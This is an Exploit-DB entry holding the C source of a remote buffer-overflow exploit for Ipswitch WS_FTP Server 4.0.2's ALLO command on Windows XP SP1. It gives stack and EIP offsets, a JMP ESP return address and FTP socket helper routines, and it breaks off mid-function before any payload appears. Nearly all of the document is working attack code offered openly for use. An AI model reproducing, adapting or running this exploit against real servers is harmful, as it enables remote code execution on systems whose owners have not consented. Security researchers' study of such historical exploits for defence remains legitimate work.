Exploit-DB #165
Description: Ipswitch WS_FTP Server 4.0.2 - ALLO Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-03-23
Author: Hugh Mann

Exploit:
/*
* Ipswitch WS_FTP Server <= 4.0.2 ALLO exploit
* (c)2004 Hugh Mann hughmann@hotmail.com
*
* This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1
*
* NOTE:
* - The exploit assumes the user has a total file size limit. If the user only has
* a max number of files limit you will need to rewrite parts of this exploit for
* it to work.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* temp_file = "#t#t#t";
#define ALLO_STRING "ALLO[PII_REDACTED][PII_REDACTED]"

/*
* Assume all addresses >= this address to be invalid addresses. If the exploit doesn't work,
* try changing it to a larger value, eg. 0x80000000 or 0xC0000000.
*/
const MAX_ADDR = 0x80000000;

/*
* Size of each thread's stack space. From iFtpSvc.exe PE header. Must be a power of 2.
* Should not be necessary to change this since practically all PE files use the default
* size (1MB).
*/
const SERV_STK_SIZE = 0x00100000;

/*
* This is the lower bits of ESP when the ALLO handler is called. This is very WS_FTP Server
* version dependent. Should be = ESP (mod SERV_STK_SIZE)
*/
const SERV_STK_OFFS = 0x0007F208;

/*
* This is the offset of the "this" pointer relative to SERV_STK_OFFS in the ALLO handler.
*/
const SERV_STK_THIS_OFFS = -(0x210+4); // EBP is saved

/*
* Offset of username relative to the "this" pointer
*/
const SERV_THIS_USERNAME_OFFS = 0x9F8;

/*
* Offset of FTP cmd buf relative to the "this" pointer
*/
const SERV_THIS_CMDBUF_OFFS = 0x1F8;

/*
* Offset of EIP relative to vulnerable buffer
*/
const SERV_BUF_EIP = 0x110;

/*
* Return addresses to JMP ESP instruction. Must contain bytes that are valid shellcode characters.
*/
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77"; // advapi32.dll (08/29/2002), WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71"; // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too
#endif

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
if (quite_you && output_all == 0)
return;

va_list args;
va_start(args, format);
vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret < 0)
return 0;
else
return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
if (len == -1)
len = (int)strlen(buf);

for (int i = 0; i < len; i++)
putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
int ret = recv(s, buf, len, flags);
if (!output_all || ret < 0)
return ret;

print_all(buf, ret);
return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
char* nl;
while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
{
if (inoffs >= sizeof(inbuf))
{
msg("[-] Too long line\n");
return 0;
}
int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len <= 0)
{
msg("[-] Error receiving data\n");
return 0;
}

inoffs += len;
}

strncpy(last_line, inbuf, sizeof(last_line));
last_line[sizeof(last_line)-1] = 0;

unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
if (nlidx >= len)
{
msg("[-] Too small caller buffer\n");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == '\r')
string[nlidx-1] = 0;

if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}

return 1;
}

int ignorerd(SOCKET s)
{
inoffs = 0;

while (1)
{
if (!isrd(s))
return 1;
if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
return 0;
}
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL)
{
char line[MAXLINE];

if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get status code\n");
return -1;
}
if (func)
func(data, line);

char c = line[3];
line[3] = 0;
int code;
if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
{
msg("[-] Weird reply\n");
return -1;
}

char endline[4];
memcpy(endline, line, 3);
endline[3] = ' ';
if (c == '-')
{
while (1)
{
if (!get_line(s, line, sizeof(line)))
{
msg("[-] Could not get next line\n");
return -1;
}
if (func)
func(data, line);
if (!memcmp(line, endline, sizeof(endline)))
break;
}
}

return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
while (len)
{
int l = send(s, buf, len, flags);
if (l <= 0)
break;
len -= l;
buf += l;
}

return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
char buf[MAXLINE];
buf[sizeof(buf)-1] = 0;
if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0)
{
msg("[-] Buffer overflow\n");
return -1;
}

if (output_all)
print_all(buf);

if (!ignorerd(s) || !sends(s, buf))
return -1;

if (need_reply)
return get_reply_code(s);

return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
{
msg("[-] Buffer overflow ;)\n");
return 0;
}

memcp